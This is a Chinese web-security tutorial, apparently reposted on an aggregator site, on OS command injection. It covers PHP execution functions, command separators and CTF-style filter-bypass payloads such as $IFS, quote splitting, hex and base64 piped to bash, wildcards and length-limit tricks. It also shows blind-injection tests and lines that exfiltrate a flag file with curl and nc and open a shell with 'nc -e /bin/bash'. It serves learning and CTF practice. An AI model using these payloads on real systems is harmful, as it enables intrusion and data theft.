IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> WEB安全之系统命令执行漏洞 -> 正文阅读

[系统运维]WEB安全之系统命令执行漏洞

常用的系统命令执行函数

system() #输出并返回最后一行shell结果。

exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。

passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针

shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出

? ` `(反引号)? ? #实际上是使用shell_exec()函数

pcntl_exec? ?#函数的作用是在当前进程空间执行指定程序

一般来说就有这么几个危险函数,可以执行系统命令

常见命令的分隔符、终止符和截断符

命令分隔符

windows:

&&? ? ? ? 需要&&前面的命令执行成功后才能执行后面的命令

||? ? ? ? ? ?当|| 前面的执行成功后就不在执行后面的命令,前面失败就执行后面的

&? ? ? ? ? ?不管前面命令是否成功,都能执行后面的命令

|? ? ? ? ? ? ?前面命令输出结果作为后面命令的输入内容

linux:

&&   当前面命令为成功才执行后面的命令

||  ? ? ?前面命令执行失败的时候才执行后面的命令

&? ????????? 前面命令执行后接着执行后面的命令

|? ? ? ? ? ? ? 前面命令输出结果作为后面命令的输入内容

;? ? ? ? ? ? ? 无论前面命令真或假都执行后面的命令,适用于执行多条命令

命令终止符

?#以下终止符只适用于PHP环境

%0a 换行符

%0d 回车符

截断符号

$

;

|

&

-

(

)

{

}

`

||

&&

%0a? ? #有时候可以当空格使用?

命令执行的各种绕过

?

绕过空格

<

<>

%09

$IFS$1

$IFS$9

${IFS}

$IFS等

还可以用{} 比如 {cat,flag}

?

关键字黑名单绕过

?拼接绕过黑名单

a=fl;b=ag;cat $a$b

?

利用单引号,双引号绕过

ca''t fla''g

ca""t fla""g

利用反斜杠绕过

cat fla\g?

?

利用各种编码绕过

十六进制

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag

?

base64

echo 'Y2F0IC9mbGFnCg==' | base64 -d |bash

利用shell的特殊变量绕过

l$@s

l$*s

l$1s

都是ls,因为没有定义$@,$*,$1,所以都是空值

利用通配符绕过

利用*和?

cat fla?

cat fl*

cat fl??

利用[]绕过

c[a]t

l[s]

fl[a]g

利用系统内置变量配合通配符构造命令

echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin? ? ? ?默认环境变量

`echo $PATH | cut -c 8,9`t flag? ? ? ?即 cat flag

当读取文件的命令被过滤

cat

more

less

tac

tail

nl

od

vi

vim

sort

uniq -c

file -f

rev

grep? [文件内容任意字符]? [文件名]

sh??

curl? ? ? ?前提需要知道文件位置

bash -v

strings

长度限制绕过

写文件绕过

通过> 创建文件,再通过>> 在在文件后加入字符

例如

echo "cat\\" > hack

echo " flag" >> hack

此时hack内容为??

cat\

?flag

然后可以通过 sh hack ,执行系统命令,就可以看到flag

这种一般长度限制范围在6字符以上可以用一般的flag文件都是flag.txt 或者flag.php 本文的flag只是示例

还可以通过

>"ag"

>"fl\\"

> "t \\"

> "ca\\"

ls -t > test

sh test

来绕过限制长度,长度范围比较小的,6以下的,可以用这种

其他一些绕过

cat flag > hack

cat hack? ? #可以查看到flag

?

rev flag? ?#可以将flag的内容倒过来输出

?

系统命令执行无回显

判断是否为命令执行

可以通过延时来判断是否为命令执行

sleep

比如

ls | sleep 5

绕过无回显

可以通过http外带数据来绕过无回显

用python 制作简易的http服务器

python3 -m http.server 8888

?

cat flag | curl ip:8888

或者在dnslog上外带数据

可以通过nc反弹shell或者文件

在本地机

nc -tlp 4444? > a.txt

?

ls && nc -t ip 4444 < flag


或者

ls && nc -e /bin/bash -lvvp 5555

nc ip 5555? ?#即可拿到shell

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-01-12 00:27:51  更:2022-01-12 00:28:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 6:44:39-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码